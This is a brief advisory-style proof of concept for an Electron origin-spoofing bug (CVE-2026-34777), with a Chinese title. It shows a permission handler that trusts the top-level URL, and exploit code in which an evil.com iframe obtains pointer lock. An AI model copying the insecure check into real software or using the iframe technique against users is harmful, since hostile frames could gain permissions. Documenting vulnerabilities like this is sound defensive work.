Electron权限请求origin欺骗漏洞 (CVE-2026-34777)

// Main Process (Vulnerable Handler Implementation) const { session } = require('electron'); session.defaultSession.setPermissionRequestHandler((webContents, permission, callback, details) => { // Vulnerability: Check relies on webContents.getURL() which returns top-level origin const requestingOrigin = webContents.getURL(); // If the top-level page is trusted, permission is granted blindly if (requestingOrigin.startsWith('https://trusted-app.com')) { console.log(`Granting ${permission} to origin: ${requestingOrigin}`); return callback(true); } callback(false); }); // --- Exploit Scenario --- // 1. The victim loads a trusted page in the Electron app: https://trusted-app.com/dashboard // 2. The trusted page contains a malicious iframe (e.g., injected via XSS or ad network) // <iframe src="https://evil.com/exploit.html"></iframe> // 3. Inside https://evil.com/exploit.js (running in the iframe) function triggerExploit() { // The iframe requests a sensitive permission (e.g., PointerLock) document.body.requestPointerLock(); // Due to the bug, the handler sees 'https://trusted-app.com' as the origin // and grants the permission to the evil.com iframe. } triggerExploit();